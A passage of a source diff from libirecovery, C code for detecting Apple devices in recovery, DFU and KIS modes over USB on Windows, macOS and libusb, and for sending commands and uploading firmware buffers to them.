+ uint8_t address = libusb_get_device_address(device);
+ uint32_t location = (bus << 16) | address;
+ FOREACH(struct irecv_usb_device_info *devinfo, &devices) {
+ if (devinfo->location == location) {
+ _irecv_handle_device_remove(devinfo);
+ break;
+ }
+ } ENDFOREACH
+ }
+
+ return 0;
+}
+#endif /* HAVE_LIBUSB_HOTPLUG_API */
+#endif /* !HAVE_IOKIT */
+#endif /* !_WIN32 */
+
+struct _irecv_event_handler_info {
+ cond_t startup_cond;
+ mutex_t startup_mutex;
+};
+
+static void *_irecv_event_handler(void* data)
+{
+ struct _irecv_event_handler_info* info = (struct _irecv_event_handler_info*)data;
+#ifdef _WIN32
+ struct collection newDevices;
+ const GUID *guids[] = { &GUID_DEVINTERFACE_KIS, &GUID_DEVINTERFACE_PORTDFU, &GUID_DEVINTERFACE_DFU, &GUID_DEVINTERFACE_IBOOT, NULL };
+ int running = 1;
+
+ collection_init(&newDevices);
+
+ mutex_lock(&(info->startup_mutex));
+ cond_signal(&(info->startup_cond));
+ mutex_unlock(&(info->startup_mutex));
+
+ do {
+ SP_DEVICE_INTERFACE_DATA currentInterface;
+ HDEVINFO usbDevices;
+ DWORD i;
+ int k;
+
+ FOREACH(struct irecv_usb_device_info *devinfo, &devices) {
+ devinfo->alive = 0;
+ } ENDFOREACH
+
+ for (k = 0; guids[k]; k++) {
+ usbDevices = SetupDiGetClassDevs(guids[k], NULL, NULL, DIGCF_PRESENT | DIGCF_DEVICEINTERFACE);
+ if (!usbDevices) {
+ debug("%s: ERROR: SetupDiGetClassDevs failed\n", __func__);
+ // cleanup/free newDevices
+ FOREACH(struct irecv_win_dev_ctx *win_ctx, &newDevices) {
+ free(win_ctx->details);
+ collection_remove(&newDevices, win_ctx);
+ free(win_ctx);
+ } ENDFOREACH
+ collection_free(&newDevices);
+ return NULL;
+ }
+
+
+ memset(&currentInterface, '\0', sizeof(SP_DEVICE_INTERFACE_DATA));
+ currentInterface.cbSize = sizeof(SP_DEVICE_INTERFACE_DATA);
+ for (i = 0; usbDevices && SetupDiEnumDeviceInterfaces(usbDevices, NULL, guids[k], i, &currentInterface); i++) {
+ DWORD requiredSize = 0;
+ PSP_DEVICE_INTERFACE_DETAIL_DATA_A details;
+ SetupDiGetDeviceInterfaceDetail(usbDevices, &currentInterface, NULL, 0, &requiredSize, NULL);
+ details = (PSP_DEVICE_INTERFACE_DETAIL_DATA_A) malloc(requiredSize);
+ details->cbSize = sizeof(SP_DEVICE_INTERFACE_DETAIL_DATA_A);
+ SP_DEVINFO_DATA devinfodata;
+ devinfodata.cbSize = sizeof(SP_DEVINFO_DATA);
+ if (!SetupDiGetDeviceInterfaceDetailA(usbDevices, &currentInterface, details, requiredSize, NULL, &devinfodata)) {
+ free(details);
+ continue;
+ }
+
+ DWORD sz = REG_SZ;
+ char driver[256];
+ driver[0] = '\0';
+ if (!SetupDiGetDeviceRegistryPropertyA(usbDevices, &devinfodata, SPDRP_DRIVER, &sz, (PBYTE)driver, sizeof(driver), NULL)) {
+ debug("%s: ERROR: Failed to get driver key\n", __func__);
+ free(details);
+ continue;
+ }
+
+ char *p = strrchr(driver, '\\');
+ if (!p) {
+ debug("%s: ERROR: Failed to parse device location\n", __func__);
+ free(details);
+ continue;
+ }
+ p++;
+ uint32_t location = 0;
+ if (!*p || strlen(p) < 4) {
+ debug("%s: ERROR: Driver location suffix too short\n", __func__);
+ free(details);
+ continue;
+ }
+ memcpy(&location, p, 4);
+ int found = 0;
+
+ FOREACH(struct irecv_usb_device_info *devinfo, &devices) {
+ if (devinfo->location == location) {
+ devinfo->alive = 1;
+ found = 1;
+ break;
+ }
+ } ENDFOREACH
+
+ unsigned int pid = 0;
+ unsigned int vid = 0;
+ if (sscanf(details->DevicePath, "\\\\?\\%*3s#vid_%04x&pid_%04x", &vid, &pid)!= 2) {
+ debug("%s: ERROR: failed to parse VID/PID! path: %s\n", __func__, details->DevicePath);
+ free(details);
+ continue;
+ }
+ if (vid != APPLE_VENDOR_ID) {
+ free(details);
+ continue;
+ }
+
+ // make sure the current device is actually in the right mode for the given driver interface
+ int skip = 0;
+ if ((guids[k] == &GUID_DEVINTERFACE_DFU && pid != IRECV_K_DFU_MODE && pid != IRECV_K_WTF_MODE)
+ || (guids[k] == &GUID_DEVINTERFACE_PORTDFU && pid != IRECV_K_PORT_DFU_MODE)
+ || (guids[k] == &GUID_DEVINTERFACE_IBOOT && (pid < IRECV_K_RECOVERY_MODE_1 || pid > IRECV_K_RECOVERY_MODE_4))
+ || (guids[k] == &GUID_DEVINTERFACE_KIS && pid != 1)
+ ) {
+ skip = 1;
+ }
+
+ if (!found && !skip) {
+ // Add device to newDevices list, and deliver the notification later, when removed devices are first handled.
+ struct irecv_win_dev_ctx *win_ctx = (struct irecv_win_dev_ctx*)malloc(sizeof(struct irecv_win_dev_ctx));
+ win_ctx->details = details;
+ win_ctx->location = location;
+ collection_add(&newDevices, win_ctx);
+ details = NULL;
+ }
+ free(details);
+ }
+ SetupDiDestroyDeviceInfoList(usbDevices);
+ }
+
+ FOREACH(struct irecv_usb_device_info *devinfo, &devices) {
+ if (!devinfo->alive) {
+ debug("%s: removed ecid: %016" PRIx64 ", location: %d\n",__func__, (uint64_t)devinfo->device_info.ecid, devinfo->location);
+ _irecv_handle_device_remove(devinfo);
+ }
+ } ENDFOREACH
+
+ // handle newly added devices and remove from local list
+ FOREACH(struct irecv_win_dev_ctx *win_ctx, &newDevices) {
+ debug("%s: found new: %s, location: %d\n", __func__, win_ctx->details->DevicePath, win_ctx->location);
+ _irecv_handle_device_add(win_ctx);
+ free(win_ctx->details);
+ collection_remove(&newDevices, win_ctx);
+ free(win_ctx);
+ } ENDFOREACH
+
+ Sleep(500);
+ mutex_lock(&listener_mutex);
+ if (collection_count(&listeners) == 0) {
+ running = 0;
+ }
+ mutex_unlock(&listener_mutex);
+ } while (running);
+
+ collection_free(&newDevices);
+#else /* !_WIN32 */
+#ifdef HAVE_IOKIT
+ kern_return_t kr;
+
+ IONotificationPortRef notifyPort = IONotificationPortCreate(MACH_PORT_NULL);
+ CFRunLoopSourceRef runLoopSource = IONotificationPortGetRunLoopSource(notifyPort);
+ iokit_runloop = CFRunLoopGetCurrent();
+ CFRunLoopAddSource(iokit_runloop, runLoopSource, kCFRunLoopDefaultMode);
+
+ uint16_t pids[9] = { IRECV_K_WTF_MODE, IRECV_K_DFU_MODE, IRECV_K_RECOVERY_MODE_1, IRECV_K_RECOVERY_MODE_2, IRECV_K_RECOVERY_MODE_3, IRECV_K_RECOVERY_MODE_4, IRECV_K_PORT_DFU_MODE, KIS_PRODUCT_ID, 0 };
+ int i = 0;
+ while (pids[i] > 0) {
+ CFMutableDictionaryRef matchingDict = IOServiceMatching(kIOUSBDeviceClassName);
+ iokit_cfdictionary_set_short(matchingDict, CFSTR(kUSBVendorID), kAppleVendorID);
+ iokit_cfdictionary_set_short(matchingDict, CFSTR(kUSBProductID), pids[i]);
+
+ matchingDict = (CFMutableDictionaryRef)CFRetain(matchingDict);
+
+ io_iterator_t devAddedIter;
+ kr = IOServiceAddMatchingNotification(notifyPort, kIOFirstMatchNotification, matchingDict, iokit_device_added, NULL, &devAddedIter);
+ if (kr != kIOReturnSuccess) {
+ debug("%s: Failed to register device add notification callback\n", __func__);
+ }
+ iokit_device_added(NULL, devAddedIter);
+
+ io_iterator_t devRemovedIter;
+ kr = IOServiceAddMatchingNotification(notifyPort, kIOTerminatedNotification, matchingDict, iokit_device_removed, NULL, &devRemovedIter);
+ if (kr != kIOReturnSuccess) {
+ debug("%s: Failed to register device remove notification callback\n", __func__);
+ }
+ iokit_device_removed(NULL, devRemovedIter);
+
+ i++;
+ }
+
+ mutex_lock(&(info->startup_mutex));
+ cond_signal(&(info->startup_cond));
+ mutex_unlock(&(info->startup_mutex));
+
+ CFRunLoopRun();
+
+#else /* !HAVE_IOKIT */
+#ifdef HAVE_LIBUSB_HOTPLUG_API
+ static libusb_hotplug_callback_handle usb_hotplug_cb_handle;
+ libusb_hotplug_register_callback(irecv_hotplug_ctx, LIBUSB_HOTPLUG_EVENT_DEVICE_ARRIVED | LIBUSB_HOTPLUG_EVENT_DEVICE_LEFT, LIBUSB_HOTPLUG_ENUMERATE, APPLE_VENDOR_ID, LIBUSB_HOTPLUG_MATCH_ANY, LIBUSB_HOTPLUG_MATCH_ANY, _irecv_usb_hotplug_cb, NULL, &usb_hotplug_cb_handle);
+ int running = 1;
+
+ mutex_lock(&(info->startup_mutex));
+ cond_signal(&(info->startup_cond));
+ mutex_unlock(&(info->startup_mutex));
+
+ do {
+ struct timeval tv;
+ tv.tv_sec = tv.tv_usec = 0;
+ libusb_handle_events_timeout(irecv_hotplug_ctx, &tv);
+
+ mutex_lock(&listener_mutex);
+ if (collection_count(&listeners) == 0) {
+ running = 0;
+ }
+ mutex_unlock(&listener_mutex);
+
+ usleep(100000);
+ } while (running);
+ libusb_hotplug_deregister_callback(irecv_hotplug_ctx, usb_hotplug_cb_handle);
+#else /* !HAVE_LIBUSB_HOTPLUG_API */
+ int i, cnt;
+ libusb_device **devs;
+ int running = 1;
+
+ mutex_lock(&(info->startup_mutex));
+ cond_signal(&(info->startup_cond));
+ mutex_unlock(&(info->startup_mutex));
+
+ do {
+ cnt = libusb_get_device_list(irecv_hotplug_ctx, &devs);
+ if (cnt < 0) {
+ debug("%s: FATAL: Failed to get device list: %s\n", __func__, libusb_error_name(cnt));
+ return NULL;
+ }
+
+ FOREACH(struct irecv_usb_device_info *devinfo, &devices) {
+ devinfo->alive = 0;
+ } ENDFOREACH
+
+ for (i = 0; i < cnt; i++) {
+ libusb_device *dev = devs[i];
+ if (!_irecv_is_recovery_device(dev)) {
+ continue;
+ }
+ uint8_t bus = libusb_get_bus_number(dev);
+ uint8_t address = libusb_get_device_address(dev);
+ uint32_t location = (bus << 16) | address;
+ int found = 0;
+ FOREACH(struct irecv_usb_device_info *devinfo, &devices) {
+ if (devinfo->location == location) {
+ devinfo->alive = 1;
+ found = 1;
+ break;
+ }
+ } ENDFOREACH
+ if (!found) {
+ _irecv_handle_device_add(dev);
+ }
+ }
+
+ FOREACH(struct irecv_usb_device_info *devinfo, &devices) {
+ if (!devinfo->alive) {
+ _irecv_handle_device_remove(devinfo);
+ }
+ } ENDFOREACH
+
+ libusb_free_device_list(devs, 1);
+
+ mutex_lock(&listener_mutex);
+ if (collection_count(&listeners) == 0) {
+ running = 0;
+ }
+ mutex_unlock(&listener_mutex);
+ if (!running)
+ break;
+ usleep(500000);
+ } while (running);
+#endif /* !HAVE_LIBUSB_HOTPLUG_API */
+#endif /* !HAVE_IOKIT */
+#endif /* !_WIN32 */
+ return NULL;
+}
+#endif /* !USE_DUMMY */
+
+irecv_error_t irecv_device_event_subscribe(irecv_device_event_context_t *context, irecv_device_event_cb_t callback, void *user_data)
+{
+#ifdef USE_DUMMY
+ return IRECV_E_UNSUPPORTED;
+#else
+ if (!context || !callback)
+ return IRECV_E_INVALID_INPUT;
+
+ struct irecv_device_event_context* _context = malloc(sizeof(struct irecv_device_event_context));
+ if (!_context) {
+ return IRECV_E_OUT_OF_MEMORY;
+ }
+
+ _context->callback = callback;
+ _context->user_data = user_data;
+
+ mutex_lock(&listener_mutex);
+ collection_add(&listeners, _context);
+
+ if (th_event_handler == THREAD_T_NULL || !thread_alive(th_event_handler)) {
+ mutex_unlock(&listener_mutex);
+ struct _irecv_event_handler_info info;
+ cond_init(&info.startup_cond);
+ mutex_init(&info.startup_mutex);
+#ifndef _WIN32
+#ifndef HAVE_IOKIT
+ libusb_init(&irecv_hotplug_ctx);
+#endif
+#endif
+ collection_init(&devices);
+ mutex_init(&device_mutex);
+ mutex_lock(&info.startup_mutex);
+ if (thread_new(&th_event_handler, _irecv_event_handler, &info) == 0) {
+ cond_wait(&info.startup_cond, &info.startup_mutex);
+ }
+ mutex_unlock(&info.startup_mutex);
+ cond_destroy(&info.startup_cond);
+ mutex_destroy(&info.startup_mutex);
+ } else {
+ /* send DEVICE_ADD events to the new listener */
+ FOREACH(struct irecv_usb_device_info *devinfo, &devices) {
+ if (devinfo && devinfo->alive) {
+ irecv_device_event_t ev;
+ ev.type = IRECV_DEVICE_ADD;
+ ev.mode = devinfo->mode;
+ ev.device_info = &(devinfo->device_info);
+ _context->callback(&ev, _context->user_data);
+ }
+ } ENDFOREACH
+ mutex_unlock(&listener_mutex);
+ }
+
+ *context = _context;
+
+ return IRECV_E_SUCCESS;
+#endif
+}
+
+irecv_error_t irecv_device_event_unsubscribe(irecv_device_event_context_t context)
+{
+#ifdef USE_DUMMY
+ return IRECV_E_UNSUPPORTED;
+#else
+ if (!context)
+ return IRECV_E_INVALID_INPUT;
+
+ mutex_lock(&listener_mutex);
+ collection_remove(&listeners, context);
+ int num = collection_count(&listeners);
+ mutex_unlock(&listener_mutex);
+
+ if (num == 0 && th_event_handler != THREAD_T_NULL && thread_alive(th_event_handler)) {
+#ifdef HAVE_IOKIT
+ if (iokit_runloop) {
+ while (!CFRunLoopIsWaiting(iokit_runloop)) usleep(420);
+ CFRunLoopStop(iokit_runloop);
+ iokit_runloop = NULL;
+ }
+#endif
+ thread_join(th_event_handler);
+ thread_free(th_event_handler);
+ th_event_handler = THREAD_T_NULL;
+ mutex_lock(&device_mutex);
+ FOREACH(struct irecv_usb_device_info *devinfo, &devices) {
+ free(devinfo->device_info.srnm);
+ devinfo->device_info.srnm = NULL;
+ free(devinfo->device_info.imei);
+ devinfo->device_info.imei = NULL;
+ free(devinfo->device_info.srtg);
+ devinfo->device_info.srtg = NULL;
+ free(devinfo->device_info.serial_string);
+ devinfo->device_info.serial_string = NULL;
+ free(devinfo);
+ } ENDFOREACH
+ collection_free(&devices);
+ mutex_unlock(&device_mutex);
+ mutex_destroy(&device_mutex);
+#ifndef _WIN32
+#ifndef HAVE_IOKIT
+ libusb_exit(irecv_hotplug_ctx);
+ irecv_hotplug_ctx = NULL;
+#endif
+#endif
+ }
+
+ free(context);
+
+ return IRECV_E_SUCCESS;
+#endif
+}
+
+static irecv_error_t irecv_cleanup(irecv_client_t client)
+{
+#ifdef USE_DUMMY
+ return IRECV_E_UNSUPPORTED;
+#else
+ if (client != NULL) {
+ if (client->disconnected_callback != NULL) {
+ irecv_event_t event;
+ event.size = 0;
+ event.data = NULL;
+ event.progress = 0;
+ event.type = IRECV_DISCONNECTED;
+ client->disconnected_callback(client, &event);
+ }
+#ifndef _WIN32
+#ifdef HAVE_IOKIT
+ if (client->usbInterface) {
+ (*client->usbInterface)->USBInterfaceClose(client->usbInterface);
+ (*client->usbInterface)->Release(client->usbInterface);
+ client->usbInterface = NULL;
+ }
+ if (client->handle) {
+ (*client->handle)->USBDeviceClose(client->handle);
+ (*client->handle)->Release(client->handle);
+ client->handle = NULL;
+ }
+#else
+ if (client->handle != NULL) {
+ if ((client->mode != IRECV_K_DFU_MODE) && (client->mode != IRECV_K_PORT_DFU_MODE) && (client->mode != IRECV_K_WTF_MODE) && (client->isKIS == 0)) {
+ libusb_release_interface(client->handle, client->usb_interface);
+ }
+ libusb_close(client->handle);
+ client->handle = NULL;
+ }
+#endif
+#else
+ CloseHandle(client->handle);
+#endif
+ free(client->device_info.srnm);
+ free(client->device_info.imei);
+ free(client->device_info.srtg);
+ free(client->device_info.serial_string);
+ free(client->device_info.ap_nonce);
+ free(client->device_info.sep_nonce);
+ }
+
+ return IRECV_E_SUCCESS;
+#endif
+}
+
+irecv_error_t irecv_close(irecv_client_t client)
+{
+ irecv_error_t ret = IRECV_E_SUCCESS;
+ if (client) {
+ ret = irecv_cleanup(client);
+ free(client);
+ client = NULL;
+ }
+ return ret;
+}
+
+void irecv_set_debug_level(int level)
+{
+ libirecovery_debug = level;
+#ifndef USE_DUMMY
+#ifndef _WIN32
+#ifndef HAVE_IOKIT
+ if (libirecovery_context) {
+#if LIBUSB_API_VERSION >= 0x01000106
+ libusb_set_option(libirecovery_context, LIBUSB_OPTION_LOG_LEVEL, libirecovery_debug > 2 ? 1: 0);
+#else
+ libusb_set_debug(libirecovery_context, libirecovery_debug > 2 ? 1: 0);
+#endif
+ }
+#endif
+#endif
+#endif
+}
+
+const char* irecv_version()
+{
+#ifndef PACKAGE_VERSION
+#error PACKAGE_VERSION is not defined!
+#endif
+ return PACKAGE_VERSION;
+}
+
+
+#ifndef USE_DUMMY
+static irecv_error_t irecv_send_command_raw(irecv_client_t client, const char* command, uint8_t b_request)
+{
+ unsigned int length = strlen(command);
+ if (length >= 0x100) {
+ return IRECV_E_INVALID_INPUT;
+ }
+
+ if (length > 0 && client->device_info.cpid == 0x8900 && !client->device_info.ecid) {
+ int bytes = 0;
+ irecv_error_t error = 0;
+#ifdef DEBUG
+ uint8_t buf[0x100] = {0x00, 0x00, 0x34, 0x12}; // ask how large commands should be
+ if ((error = irecv_usb_interrupt_transfer(client, 0x04, &buf[0], 4, &bytes, USB_TIMEOUT))) return error;
+ if ((error = irecv_usb_interrupt_transfer(client, 0x83, &buf[0], sizeof(buf), &bytes, USB_TIMEOUT))) return error;
+ if (bytes != sizeof(legacyCMD)) return IRECV_E_UNKNOWN_ERROR;
+#endif
+ char cmdstr[0x100] = {0};
+ if (length & 0xf) {
+ length &= ~0xf;
+ length += 0x10;
+ }
+ snprintf(cmdstr, sizeof(cmdstr), "%s\n",command);
+ legacyCMD cmd = {
+ MSG_SEND_COMMAND,
+ 0x1234, //magic
+ (uint32_t)length, //zero terminated?
+ 0x0
+ };
+ if ((error = irecv_usb_interrupt_transfer(client, 0x04, (unsigned char*)&cmd, sizeof(cmd), &bytes, USB_TIMEOUT))) return error;
+ if ((error = irecv_usb_interrupt_transfer(client, 0x83, (unsigned char*)&cmd, sizeof(cmd), &bytes, USB_TIMEOUT))) return error;
+ if (cmd.cmdcode != MSG_ACK) return IRECV_E_UNKNOWN_ERROR;
+ if ((error = irecv_usb_interrupt_transfer(client, 0x02, (unsigned char*)cmdstr, length, &bytes, USB_TIMEOUT))) return error;
+ sleep(1); //go easy on this old device
+ return IRECV_E_SUCCESS;
+ }
+
+ if (length > 0) {
+ irecv_usb_control_transfer(client, 0x40, b_request, 0, 0, (unsigned char*) command, length + 1, USB_TIMEOUT);
+ }
+
+ return IRECV_E_SUCCESS;
+}
+#endif
+
+irecv_error_t irecv_send_command_breq(irecv_client_t client, const char* command, uint8_t b_request)
+{
+#ifdef USE_DUMMY
+ return IRECV_E_UNSUPPORTED;
+#else
+ irecv_error_t error = 0;
+
+ if (check_context(client) != IRECV_E_SUCCESS)
+ return IRECV_E_NO_DEVICE;
+
+ unsigned int length = strlen(command);
+ if (length >= 0x100) {
+ return IRECV_E_INVALID_INPUT;
+ }
+
+ irecv_event_t event;
+ if (client->precommand_callback != NULL) {
+ event.size = length;
+ event.data = command;
+ event.type = IRECV_PRECOMMAND;
+ if (client->precommand_callback(client, &event)) {
+ return IRECV_E_SUCCESS;
+ }
+ }
+
+ error = irecv_send_command_raw(client, command, b_request);
+ if (error != IRECV_E_SUCCESS) {
+ debug("Failed to send command %s\n", command);
+ if (error != IRECV_E_PIPE)
+ return error;
+ }
+
+ if (client->postcommand_callback != NULL) {
+ event.size = length;
+ event.data = command;
+ event.type = IRECV_POSTCOMMAND;
+ if (client->postcommand_callback(client, &event)) {
+ return IRECV_E_SUCCESS;
+ }
+ }
+
+ return IRECV_E_SUCCESS;
+#endif
+}
+
+irecv_error_t irecv_send_command(irecv_client_t client, const char* command)
+{
+ return irecv_send_command_breq(client, command, 0);
+}
+
+irecv_error_t irecv_send_file(irecv_client_t client, const char* filename, unsigned int options)
+{
+#ifdef USE_DUMMY
+ return IRECV_E_UNSUPPORTED;
+#else
+ if (check_context(client) != IRECV_E_SUCCESS)
+ return IRECV_E_NO_DEVICE;
+
+ FILE* file = fopen(filename, "rb");
+ if (file == NULL) {
+ return IRECV_E_FILE_NOT_FOUND;
+ }
+
+ struct stat fst;
+ if (fstat(fileno(file), &fst) < 0) {
+ return IRECV_E_UNKNOWN_ERROR;
+ }
+ size_t length = fst.st_size;
+
+ char* buffer = (char*)malloc(length);
+ if (buffer == NULL) {
+ fclose(file);
+ return IRECV_E_OUT_OF_MEMORY;
+ }
+
+ size_t bytes = fread(buffer, 1, length, file);
+ fclose(file);
+
+ if (bytes != length) {
+ free(buffer);
+ return IRECV_E_UNKNOWN_ERROR;
+ }
+
+ irecv_error_t error = irecv_send_buffer(client, (unsigned char*)buffer, length, options);
+ free(buffer);
+
+ return error;
+#endif
+}
+
+#ifndef USE_DUMMY
+static irecv_error_t irecv_get_status(irecv_client_t client, unsigned int* status)
+{
+ if (check_context(client) != IRECV_E_SUCCESS) {
+ *status = 0;
+ return IRECV_E_NO_DEVICE;
+ }
+
+ unsigned char buffer[6];
+ memset(buffer, '\0', sizeof(buffer));
+ if (irecv_usb_control_transfer(client, 0xA1, 3, 0, 0, buffer, sizeof(buffer), USB_TIMEOUT) != sizeof(buffer)) {
+ *status = 0;
+ return IRECV_E_USB_STATUS;
+ }
+
+ *status = (unsigned int) buffer[4];
+
+ return IRECV_E_SUCCESS;
+}
+
+static irecv_error_t irecv_kis_send_buffer(irecv_client_t client, unsigned char* buffer, unsigned long length, unsigned int options)
+{
+ if (client->mode != IRECV_K_DFU_MODE) {
+ return IRECV_E_UNSUPPORTED;
+ }
+
+ unsigned long origLen = length;
+
+ KIS_upload_chunk *chunk = calloc(1, sizeof(KIS_upload_chunk));
+ uint64_t address = 0;
+ while (length) {
+ unsigned long toUpload = length;
+ if (toUpload > 0x4000)
+ toUpload = 0x4000;
+
+#ifdef _WIN32
+ memcpy(chunk->data, buffer, toUpload);
+ chunk->size = toUpload;
+ chunk->address = address;
+#else
+ irecv_error_t error = irecv_kis_request_init(&chunk->hdr, KIS_PORTAL_RSM, KIS_INDEX_UPLOAD, 3, toUpload, 0);
+ if (error != IRECV_E_SUCCESS) {
+ free(chunk);
+ debug("Failed to init chunk header, error %d\n", error);
+ return error;
+ }
+
+ chunk->address = address;
+ chunk->size = toUpload;
+ memcpy(chunk->data, buffer, toUpload);
+#endif
+
+#ifdef _WIN32
+ DWORD transferred = 0;
+ int ret = DeviceIoControl(client->handle, 0x220008, chunk, sizeof(*chunk), NULL, 0, (PDWORD)&transferred, NULL);
+ irecv_error_t error = (ret) ? IRECV_E_SUCCESS : IRECV_E_USB_UPLOAD;
+#else
+ KIS_generic_reply reply;
+ size_t rcvSize = sizeof(reply);
+ error = irecv_kis_request(client, &chunk->hdr, sizeof(*chunk) - (0x4000 - toUpload), &reply.hdr, &rcvSize);
+#endif
+ if (error != IRECV_E_SUCCESS) {
+ free(chunk);
+ debug("Failed to upload chunk, error %d\n", error);
+ return error;
+ }
+
+ address += toUpload;
+ buffer += toUpload;
+ length -= toUpload;
+
+ if (client->progress_callback != NULL) {
+ irecv_event_t event;
+ event.progress = ((double) (origLen - length) / (double) origLen) * 100.0;
+ event.type = IRECV_PROGRESS;
+ event.data = (char*)"Uploading";
+ event.size = origLen - length;
+ client->progress_callback(client, &event);
+ } else {
+ debug("Sent: %lu bytes - %lu of %lu\n", toUpload, origLen - length, origLen);
+ }
+ }
+ free(chunk);
+
+ if (options & IRECV_SEND_OPT_DFU_NOTIFY_FINISH) {
+#ifdef _WIN32
+ DWORD amount = (DWORD)origLen;
+ DWORD transferred = 0;
+ int ret = DeviceIoControl(client->handle, 0x22000C, &amount, 4, NULL, 0, (PDWORD)&transferred, NULL);
+ irecv_error_t error = (ret) ? IRECV_E_SUCCESS : IRECV_E_USB_UPLOAD;
+#else
+ irecv_error_t error = irecv_kis_config_write32(client, KIS_PORTAL_RSM, KIS_INDEX_BOOT_IMG, origLen);
+#endif
+ if (error != IRECV_E_SUCCESS) {
+ debug("Failed to boot image, error %d\n", error);
+ return error;
+ }
+ }
+
+ return IRECV_E_SUCCESS;
+}
+#endif
+
+irecv_error_t irecv_send_buffer(irecv_client_t client, unsigned char* buffer, unsigned long length, unsigned int options)
+{
+#ifdef USE_DUMMY
+ return IRECV_E_UNSUPPORTED;
+#else
+ if (client->isKIS)
+ return irecv_kis_send_buffer(client, buffer, length, options);
+
+ irecv_error_t error = 0;
+ int recovery_mode = ((client->mode != IRECV_K_DFU_MODE) && (client->mode != IRECV_K_PORT_DFU_MODE) && (client->mode != IRECV_K_WTF_MODE));
+ int legacy_recovery_mode = 0;
+ int isiOS2 = 0;
+
+ if (recovery_mode && client->device_info.cpid == 0x8900 && !client->device_info.ecid) {
+#ifdef DEBUG
+ uint8_t buf[0x100] = {0x00, 0x00, 0x34, 0x12}; // ask how large commands should be
+ int bytes = 0;
+ if ((error = irecv_usb_interrupt_transfer(client, 0x04, &buf[0], 4, &bytes, USB_TIMEOUT))) return error;
+ if ((error = irecv_usb_interrupt_transfer(client, 0x83, &buf[0], sizeof(buf), &bytes, USB_TIMEOUT))) return error;
+ if (bytes != sizeof(legacyCMD)) return IRECV_E_UNKNOWN_ERROR;
+#endif
+ legacy_recovery_mode = 1;
+ }
+
+ if (recovery_mode && !legacy_recovery_mode) {
+ // we are in recovery mode and we are not dealing with iOS 1.x
+ if ((client->device_info.cpid == 0x8900 || client->device_info.cpid == 0x8720) && !client->device_info.have_ibfl) {
+ // iOS 2.x doesn't have IBFL tag, but iOS 3 does
+ // Also, to avoid false activation of this codepath, restrict it to the only two CPID which can run iOS 2
+ recovery_mode = 0; // iOS 2 recovery mode works same as DFU mode
+ isiOS2 = 1;
+ options |= IRECV_SEND_OPT_DFU_NOTIFY_FINISH;
+ }
+ }
+
+ if (check_context(client) != IRECV_E_SUCCESS)
+ return IRECV_E_NO_DEVICE;
+
+ unsigned int h1 = 0xFFFFFFFF;
+ unsigned char dfu_xbuf[12] = {0xff, 0xff, 0xff, 0xff, 0xac, 0x05, 0x00, 0x01, 0x55, 0x46, 0x44, 0x10};
+ int dfu_crc = 1;
+ int packet_size = recovery_mode ? 0x8000 : 0x800;
+ if (legacy_recovery_mode) packet_size = 0x200;
+ if (!recovery_mode && (options & IRECV_SEND_OPT_DFU_SMALL_PKT)) {
+ packet_size = 0x40;
+ dfu_crc = 0;
+ }
+ int last = length % packet_size;
+ int packets = length / packet_size;
+
+ if (last != 0) {
+ packets++;
+ } else {
+ last = packet_size;
+ }
+
+ /* initiate transfer */
+ if (legacy_recovery_mode) {
+ int bytes = 0;
+ uint32_t loadaddr0x8900 = 0x09000000;
+ const char *ios1_overwrite_loadaddr = getenv("LIBIRECOVERY_IOS1_OVERWRITE_LOADADDR");
+ if (ios1_overwrite_loadaddr) {
+ sscanf(ios1_overwrite_loadaddr, "0x%x",&loadaddr0x8900);
+ debug("Overwriting loadaddr requested by env var. uploading to 0x%08x\n",loadaddr0x8900);
+ }
+ legacyCMD cmd = {
+ MSG_SEND_FILE,
+ 0x1234, //magic
+ (uint32_t)length,
+ loadaddr0x8900
+ };
+ if ((error = irecv_usb_interrupt_transfer(client, 0x04, (unsigned char*)&cmd, sizeof(cmd), &bytes, USB_TIMEOUT))) return error;
+ if ((error = irecv_usb_interrupt_transfer(client, 0x83, (unsigned char*)&cmd, sizeof(cmd), &bytes, USB_TIMEOUT))) return error;
+ if (cmd.cmdcode != MSG_ACK) return IRECV_E_UNKNOWN_ERROR;
+ } else if (recovery_mode) {
+ error = irecv_usb_control_transfer(client, 0x41, 0, 0, 0, NULL, 0, USB_TIMEOUT);
+ } else {
+ uint8_t state = 0;
+ if (irecv_usb_control_transfer(client, 0xa1, 5, 0, 0, (unsigned char*)&state, 1, USB_TIMEOUT) == 1) {
+ error = IRECV_E_SUCCESS;
+ } else {
+ return IRECV_E_USB_UPLOAD;
+ }
+ switch (state) {
+ case 2:
+ /* DFU IDLE */
+ break;
+ case 8:
+ /* DFU WAIT RESET */
+ if (!isiOS2) {
+ debug("Unexpected state %d in non-iOS2 mode!, issuing ABORT\n", state);
+ irecv_usb_control_transfer(client, 0x21, 6, 0, 0, NULL, 0, USB_TIMEOUT);
+ error = IRECV_E_USB_UPLOAD;
+ }
+ break;
+ case 10:
+ debug("DFU ERROR, issuing CLRSTATUS\n");
+ irecv_usb_control_transfer(client, 0x21, 4, 0, 0, NULL, 0, USB_TIMEOUT);
+ error = IRECV_E_USB_UPLOAD;
+ break;
+ default:
+ debug("Unexpected state %d, issuing ABORT\n", state);
+ irecv_usb_control_transfer(client, 0x21, 6, 0, 0, NULL, 0, USB_TIMEOUT);
+ error = IRECV_E_USB_UPLOAD;
+ break;
+ }
+ }
+
+ if (error != IRECV_E_SUCCESS) {
+ return error;
+ }
+
+ int i = 0;
+ unsigned long count = 0;
+ unsigned int status = 0;
+ int bytes = 0;
+ for (i = 0; i < packets; i++) {
+ int size = (i + 1) < packets ? packet_size : last;
+
+ if (legacy_recovery_mode) {
+ // Use interrupt transfer for legacy devices
+ error = irecv_usb_interrupt_transfer(client, 0x05, &buffer[i * packet_size], size, &bytes, USB_TIMEOUT);
+ } else if (recovery_mode) {
+ // Use bulk transfer for recovery mode
+ error = irecv_usb_bulk_transfer(client, 0x04, &buffer[i * packet_size], size, &bytes, USB_TIMEOUT);
+ } else {
+ // Use control transfer for DFU and WTF mode
+ if (dfu_crc) {
+ int j;
+ for (j = 0; j < size; j++) {
+ crc32_step(h1, buffer[i*packet_size + j]);
+ }
+ }
+ if (dfu_crc && i+1 == packets) {
+ int j;
+ if (size+16 > packet_size) {
+ bytes = irecv_usb_control_transfer(client, 0x21, 1, i, 0, &buffer[i * packet_size], size, USB_TIMEOUT);
+ if (bytes != size) {
+ return IRECV_E_USB_UPLOAD;
+ }
+ count += size;
+ size = 0;
+ }
+ for (j = 0; j < 2; j++) {
+ crc32_step(h1, dfu_xbuf[j*6 + 0]);
+ crc32_step(h1, dfu_xbuf[j*6 + 1]);
+ crc32_step(h1, dfu_xbuf[j*6 + 2]);
